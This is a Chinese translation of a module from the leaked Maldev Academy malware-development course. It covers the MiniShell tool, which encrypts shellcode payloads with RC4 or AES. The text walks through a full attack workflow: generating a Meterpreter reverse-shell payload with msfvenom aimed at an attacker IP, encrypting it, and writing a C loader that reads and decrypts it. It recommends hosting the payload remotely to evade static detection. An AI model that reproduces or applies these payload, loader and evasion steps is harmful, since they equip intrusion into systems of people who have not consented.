模块 25 - Maldev Academy 工具 - MiniShell
恶意软件开发课程 - Maldev Academy 工具 - MiniShell
模块 25 - Maldev Academy 工具 - MiniShell#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
Maldev Academy 工具 - MiniShell#
简介#
这是另一个 Maldev Academy 工具,类似于 HellShell,允许对原始 Payload 进行加密。该工具仅支持 RC4 和 AES 加密。
💡 初学者提示:MiniShell vs HellShell 有什么区别?
HellShell:
- 支持多种技术(4 种混淆 + 3 种加密)
- 输出 C 代码格式的数组
- 适合快速原型开发
MiniShell:
- 仅支持 RC4 和 AES 加密(最常用的两种)
- 输出二进制
.bin文件 + C 解密函数- 更适合实际部署场景
选择建议:
- 学习测试: 使用 HellShell(功能全面,输出即用)
- 实战部署: 使用 MiniShell(分离数据和代码,更灵活)
工具特性#
MiniShell 具有以下特性:
- ✅ 输出解密函数: 为选定的加密类型输出解密函数代码
- ✅ 二进制输出: 将加密后的字节输出为
bin文件 - ✅ 随机密钥: 为加密算法随机生成密钥
📚 知识扩展:为什么输出 .bin 文件?
优势:
- 分离关注点:
- 加密数据存储在
.bin文件中- 解密代码存储在
.c文件中- 可以独立管理和分发
- 灵活的加载方式:
- 从磁盘读取(文件加载)
- 从网络下载(远程加载)
- 嵌入资源节(.rsrc section)
- 使用其他混淆技术进一步处理
- 体积优化:
- 二进制文件比 C 数组更紧凑
- 不需要编译进主程序,减小可执行文件大小
- 实战场景:
plaintext恶意软件.exe (10KB) ├─ 包含解密逻辑 └─ 运行时从服务器下载 payload.bin (5MB) 而不是: 恶意软件.exe (5MB) ← 静态分析更容易检测
使用方法#
###########################################################
# MiniShell - Designed By MalDevAcademy @NUL0x4C | @mrd0x #
###########################################################
[!] Usage: C:\Users\User\source\repos\MiniShell\x64\Debug\MiniShell.exe <Input Payload FileName> <Enc *Option*> <Output FileName>
[i] Encryption Options Can Be :
1.>>> "aes" ::: Output The File As A Encrypted File Using AES-256 Algorithm With Random Key And IV
2.>>> "rc4" ::: Output The File As A Encrypted File Using Rc4 Algorithm With Random Keyc💡 初学者提示:参数说明
命令格式:
MiniShell.exe <输入文件> <加密选项> <输出文件>
- 输入文件: 原始 shellcode 二进制文件(如
calc.bin)- 加密选项:
aes- 使用 AES-256 加密(最安全)rc4- 使用 RC4 加密(更快速)- 输出文件: 保存加密后数据的文件名(如
encrypted.bin)输出内容:
- 创建加密的
.bin文件(包含加密数据)- 打印解密函数到控制台(可重定向到
.c文件)
示例命令#
以下是 MiniShell 的实用示例:
# 示例 1: 使用 RC4 加密,解密函数输出到控制台
.\MiniShell.exe .\calc.bin rc4 encpayload.bin
# 示例 2: 使用 RC4 加密,解密函数保存到文件
.\MiniShell.exe .\calc.bin rc4 encpayload.bin > rc4.c
# 示例 3: 使用 AES 加密,解密函数输出到控制台
.\MiniShell.exe .\calc.bin aes calcenc.bin
# 示例 4: 使用 AES 加密,解密函数保存到文件
.\MiniShell.exe .\calc.bin aes calcenc.bin > aes.cbash📚 知识扩展:完整工作流程示例
场景: 创建一个加密的远程 Payload 加载器
# 步骤 1: 生成原始 shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f raw -o payload.bin
# 步骤 2: 使用 MiniShell 加密
.\MiniShell.exe payload.bin aes payload_encrypted.bin > decrypt.c
# 步骤 3: 创建加载器项目
# 在你的 C 项目中:
# 1. 复制 decrypt.c 的内容到项目
# 2. 添加文件读取代码来加载 payload_encrypted.bin
# 3. 调用解密函数
# 4. 执行解密后的 shellcode
# 步骤 4: 编译加载器
# Visual Studio: 编译为 Release x64
# 步骤 5: 部署
# - loader.exe (10-20KB) 部署到目标
# - payload_encrypted.bin (可以存储在远程服务器)bash实战代码示例:
// 伪代码展示如何使用 MiniShell 的输出
#include <windows.h>
#include <stdio.h>
// 从 decrypt.c 复制的解密函数
BOOL AesDecrypt(PBYTE pCipherText, DWORD dwCipherSize,
PBYTE pKey, PBYTE pIv,
PBYTE* ppPlainText, DWORD* pdwPlainSize);
// 从 decrypt.c 复制的密钥和 IV
unsigned char Key[] = { /* ... */ };
unsigned char IV[] = { /* ... */ };
int main() {
// 1. 读取加密文件
HANDLE hFile = CreateFileA("payload_encrypted.bin",
GENERIC_READ, 0, NULL,
OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hFile, NULL);
PBYTE encryptedData = (PBYTE)malloc(fileSize);
ReadFile(hFile, encryptedData, fileSize, NULL, NULL);
CloseHandle(hFile);
// 2. 解密
PBYTE shellcode = NULL;
DWORD shellcodeSize = 0;
AesDecrypt(encryptedData, fileSize, Key, IV,
&shellcode, &shellcodeSize);
// 3. 执行 (后续模块会详细讲解)
// ExecuteShellcode(shellcode, shellcodeSize);
return 0;
}c演示#
下图展示了使用 MiniShell 加密 calc.bin 文件的过程,加密字节被写入 AesCalc.bin,解密函数被保存到 Aes.c。

🎯 总结#
在本模块中,我们学习了:
- MiniShell 工具: 专注于加密的轻量级工具
- 核心功能:
- 支持 RC4 和 AES 加密
- 输出二进制加密文件
- 提供完整的解密函数代码
- 使用场景: 更适合实际部署,支持灵活的 Payload 加载方式
- 工作流程: 从 shellcode 生成到加载器开发的完整流程
💡 关键要点
- MiniShell 输出分离的数据文件和代码文件
- 二进制输出更适合远程加载和资源嵌入
- 支持最常用的两种加密算法(RC4 和 AES)
- 每次运行生成随机密钥,增加不可预测性
🎯 HellShell vs MiniShell 对比
| 特性 | HellShell | MiniShell |
|---|---|---|
| 支持技术 | 6 种(4混淆+2加密) | 2 种(纯加密) |
| 输出格式 | C 代码数组 | .bin 文件 + C 函数 |
| 使用场景 | 快速原型,学习测试 | 实战部署,灵活加载 |
| 体积影响 | 增大可执行文件 | 分离存储 |
| 灵活性 | 中等 | 高(支持多种加载方式) |
| 学习曲线 | 简单(一步到位) | 中等(需要额外代码) |
🎯 实战建议
何时使用 MiniShell:
- ✅ 需要从远程服务器加载 Payload
- ✅ 想要将 Payload 嵌入资源节(.rsrc)
- ✅ 需要减小主程序体积
- ✅ 想要动态更新 Payload 而不重新编译
何时使用 HellShell:
- ✅ 快速测试和开发
- ✅ 学习不同的混淆技术
- ✅ 需要混淆而非加密
- ✅ 一次性部署场景
💡 进阶技巧:组合使用
可以结合两个工具的优势:
# 1. 用 HellShell 进行混淆
HellShell.exe payload.bin uuid > obfuscated.c
# 提取 UUID 数组,去混淆得到二进制数据
# 2. 用 MiniShell 加密混淆后的数据
MiniShell.exe deobfuscated.bin aes final.bin > decrypt.c
# 现在你的 Payload 既混淆又加密了!bash📚 下一步学习
现在你已经掌握了两个强大的自动化工具。接下来的模块将教你如何:
- 本地执行 Payload: 在当前进程中执行 DLL 和 Shellcode
- 进程注入: 将 Payload 注入到其他进程
- 远程加载: 从网络下载并执行 Payload
这些技术将让你的 Payload 真正”活”起来!🚀